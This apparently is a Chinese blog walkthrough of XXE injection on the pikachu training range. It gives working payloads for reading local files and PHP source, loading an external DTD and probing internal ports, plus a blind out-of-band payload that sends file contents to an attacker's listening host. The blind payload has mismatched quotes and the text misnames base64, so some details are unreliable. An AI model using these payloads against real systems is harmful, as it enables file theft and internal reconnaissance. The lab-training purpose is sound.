[pikachu靶场]xxe漏洞详解!!!

漏洞描述:

                   XML外部实体注入(XML Extenrnal Entity Injection),简称XXE漏洞。引发XXE漏洞的主要原因是XML解析依赖库libxm|默认开启了对外部实体的引用,导致服务端在解析用户提交的XML信息时未作处理直接进行解析,导致加载恶意的外部文件和代码,造成任意文件读取,命令执行(利用条件苛刻)、内网扫描等危害。

-----------------------------------------------

利用条件:

                      libxml<2.9 默认开启

-----------------------------------------------

 XML特性:

                           XML 指可扩展标记语言(EXtensible Markup Language)

                           XML 是一种标记语言,很类似 HTML

                           XML 的设计宗旨是传输数据,而非显示数据

                           XML 标签没有被预定义。您需要自行定义标签

                           XML 被设计为具有自我描述性。

                           XML是 W3C 的推荐标准

                           XML 是不作为的

                           XML 仅仅是纯文本

                           XML 可以发明自己的标签

------------------------------------------------

打开pikachu漏洞练习平台

-------------------------------------------------

攻击语句:

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe "123">]>
<foo>&xxe;</foo>

回显123

-----------------------------------------------

EXP:查看文件:

<?xml version="1.0"?>
<!DOCTYPE foo [ 
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]> <foo>&xxe;</foo>

 回显win.ini文件内容.

------------------------------------------------------

EXP:查看源码:

<?xml version="1.0"?>
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=D:/phpstudy_pro/WWW/1.php" > ]> 
<foo>&xxe;</foo>

 访问绝对路径的1.php 使用base64解码获得文件内容

-------------------------------------------------------

EXP:DTD外部调用:

    创建文件evil.dtd

<!ENTITY evil SYSTEM "file:///c:/windows/system.ini" >

<!DOCTYPE foo 
[<!ELEMENT foo ANY >
<!ENTITY  % xxe SYSTEM "http://127.0.0.1/evil.dtd" >
%xxe;
]>
<foo>&evil;</foo>

   访问获得文件内容.

---------------------------------------------------

EXP:探测内网存活主机与开放端口

<?xml version="1.0" encoding="UTF-8"?> 
 <!DOCTYPE foo [  
<!ELEMENT foo ANY >  
<!ENTITY rabbit SYSTEM "http://127.0.0.1:80" > ]>  
<x>&rabbit;</x>

修改端口号进行提交,端口未开浏览器会一直转圈提交。 

-----------------------------------------------------------

EXP:无回显探测

  创建evil.dtd文件:

<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xx.xxx:8888/?%file;'>">
%start;

<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://127.0.0.1/evil.dtd'><!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/456.txt">%remote;%send;]>

选择攻击机进行监听:打开kali开启监听 。

输入代码:

返回kali查看信息:

使用base63解码解出文件内容

 

 

  • 7
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值